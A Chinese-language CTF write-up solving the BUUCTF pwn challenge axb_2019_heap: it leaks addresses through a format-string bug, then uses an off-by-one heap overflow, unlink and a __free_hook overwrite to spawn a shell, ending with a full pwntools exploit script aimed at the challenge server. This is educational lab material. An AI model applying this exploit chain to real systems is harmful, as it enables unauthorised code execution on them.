buuctf axb_2019_heap

2020-09-25 11:01:15

拖進IDA之後,發現輸入函數是存在off-by-one漏洞的,可以進行溢位
在這裡插入圖片描述
同時存在全域性指標陣列,就可以利用這個溢位來構造fake chunk,然後實現unlink
除此之外,這個程式malloc的大小是不能小於0x80的,額。。。其實這個不重要,問題不大,注意下就好了
但是,程式的保護全都開啟了
在這裡插入圖片描述
也就是說,程式的地址是隨機的,我們並不知道chunk指標的存放地址
如何洩露呢?這時還發現程式開頭存在格式化字串的漏洞
在這裡插入圖片描述
開啟偵錯,輸入8個a,在printf(&format)這裡停一下,然後看下棧
在這裡插入圖片描述
發現棧中存在__libc_start_main+240的地址,和程式main函數的地址
因此,我們可以通過格式化字串洩露出這兩個地址,然後計算出libc_base和程式基地址
經過偵錯,這兩個地址分別是第15和第19個引數

libc=ELF('./libc-2.23.so')
sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

0x116a是這裡得來的
在這裡插入圖片描述

在這裡插入圖片描述
好的,成功了,這題已經搞定了一半了

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

計算出幾個要用到的東西的地址

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

佈置好可以觸發unlink的資料

delete(1)

unlink,每次到這一步就莫名激動
現在我們已經控制了chunk指標處的資料了,想幹嘛就幹嘛

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)

將free_hook寫在chunk0指標處,企圖劫持free_hook,同時寫入"/bin/sh"
3個p64(0)填充,0x38這裡是chunk0資料大小,這個資料隨意,足夠我們將payload寫入就行

payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

將system_addr寫到free_hook
執行free(chunk1)即可

最後寫一下自己犯的兩個錯誤,第一個就是計算0x90+0x10的時候算成了0x100。。。。。
第二個就是我一開始企圖修改free_got,後來想起來程式開了Full Relro(應該是這個原因),導致改寫不了
然後,完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",26035)
context.log_level='debug'
elf=ELF('axb_2019_heap')
libc=ELF('./libc-2.23.so')
def add(idx,size,content):
	sh.sendlineafter(">> ","1")
	sh.recvuntil("(0-10):")
	sh.sendline(str(idx))
	sh.recvuntil("Enter a size:\n")
	sh.sendline(str(size))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def edit(idx,content):
	sh.sendlineafter(">> ","4")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def delete(idx):
	sh.sendlineafter(">> ","2")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))

sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

delete(1)

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)
payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()